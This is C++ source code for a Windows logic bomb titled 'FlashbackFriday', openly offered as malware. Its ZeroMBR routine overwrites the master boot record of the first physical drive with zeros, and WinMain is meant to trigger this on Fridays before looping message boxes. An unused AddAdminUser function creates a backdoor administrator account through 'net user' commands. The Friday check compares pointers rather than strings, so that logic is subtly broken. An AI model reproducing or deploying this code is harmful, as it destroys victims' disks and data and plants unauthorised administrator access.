FlashbackFriday C++ Logic Bomb - Source Code

// overwrites MBR, but only on Friday.

#include <Windows.h>
#include <iostream>
#include <ctime>
#include <stdio.h>

#define MBR_SIZE 512

using namespace std;

int ZeroMBR(void) {
    DWORD write;
    char data[MBR_SIZE];

    ZeroMemory(&data, sizeof(data));

    HANDLE disk = CreateFile((LPCSTR)"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    WriteFile(disk, data, MBR_SIZE, &write, NULL);
    CloseHandle(disk);


    return 0;
}

void AddAdminUser(void) {
    char * adduser = "net user /add br0ken br0ken";
    char * addasadmin = "net localgroup administrators br0ken /add";

    WinExec((LPCSTR)adduser, 0);
    WinExec((LPCSTR)addasadmin, 0);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    time_t rawtime;
    struct tm * timeinfo;
    char buffer[100];

    time(&rawtime);
    timeinfo = localtime(&rawtime);

    strftime(buffer, sizeof(buffer), "%A", timeinfo);

    const char * str(buffer);

    if (str == "Friday") {
        ZeroMBR();

        while (1) {
            int msgBox = MessageBox(NULL, (LPCSTR)"hi", (LPCSTR)"I don't like ur computer", MB_OK);
        }

    }

    MessageBox(NULL, (LPSTR)str, (LPSTR)str, MB_OK);

    return 0;
}